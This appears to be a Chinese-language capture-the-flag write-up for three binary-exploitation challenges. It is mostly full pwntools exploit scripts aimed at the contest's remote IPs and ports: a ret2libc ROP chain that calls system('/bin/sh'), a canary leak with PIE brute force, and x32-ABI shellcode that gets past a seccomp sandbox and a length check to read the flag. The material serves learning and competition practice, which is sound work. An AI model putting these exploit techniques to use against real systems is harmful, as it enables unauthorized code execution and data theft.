0x00 前言 pwn都挺难的,做完三道就跑去写密码了…
0x01 题解部分 libc ret2libc即可, libc 大概是2.35吧
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/lllibc' elf=ELF(file) libc=ELF('/mnt/c/Users/Z2023/Desktop/libc6_2.35-0ubuntu3.7_amd64.so' ) choice = 0x001 if choice: port= 25467 xuanyuan= '27.25.151.26' p = remote(xuanyuan,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) write_got = elf.got['write' ] write_plt = elf.plt['write' ] pop_rdi = 0x000000000040117e pop_rsi = 0x0000000000401180 pop_rdx = 0x0000000000401182 vuln = 0x00000000004011EC ret = 0x000000000040101a payload = b'a' *(0x10 +8 ) payload += flat(pop_rdi,1 ,pop_rsi,write_got,pop_rdx,0x10 ,write_plt,vuln) sa('Libc how to win?\n' ,payload) write_addr = uru64() leak('write_addr' ) libc_base = write_addr - libc.sym['write' ] leak('libc_base' ) system,binsh = get_sb() payload = b'a' *(0x10 +8 ) payload += flat(ret,pop_rdi,binsh,system,vuln) debug() sa('Libc how to win?\n' ,payload) itr()
it_is_a_canary 泄露canary + 爆破pie
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/it_is_a_canary' elf=ELF(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) for num in range (15 ): num = num << 12 p = remote('27.25.151.26' ,32189 ) sla('Is it a canary?\n' ,b'a' *23 +b'b' ) ru('b' ) r(1 ) canary = uu64(r(7 ).rjust(8 ,b'\x00' )) leak('canary' ) payload = p64(canary) payload = payload.rjust(0x20 ,b'a' ) payload += b'a' *8 payload += p16(0x265 +num) s(payload) ru('What is PIE?\n' ) sl(b'cat /flag' ) buf = p.recv() if b"timeout: the monitored command dumped core\n" in buf: continue break itr()
babyshellcode 有沙箱,只允許or,
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x05 0x00 0x40000000 if (A >= 0x40000000 ) goto 0009 0004: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0009 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0009 0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
本来以为又是一道侧信道,但是用着沙箱条件搜索了一下可以有别的解决方法:参考
因为这个题目允许调用号不小于0x40000000的系统调用,所以可以直接调用x32 abi,shellcode如下:
shellcode = asm(''' lea rax,[rip] add rax,0x200 mov rsp,rax ; 因为rsp被清空,先将栈迁移至可读写位置 mov eax,0x67616c66 ; 'flag' push rax mov rdi,rsp xor rsi,rsi mov rax,0x40000002 ; open syscall mov rdi,rax mov rax,rsp add rax,0x100 mov rsi,rax mov rdx,0x40 mov rax,0x40000000 ; read syscall mov edi,2 mov rax,0x40000001 ; write syscall''' )
而且题目看似有长度限制,实则不然,我们看看我们搬的这段shellcode: 刚好在第三字节的位置生成了b'\x00'
, 刚好绕过了长度检测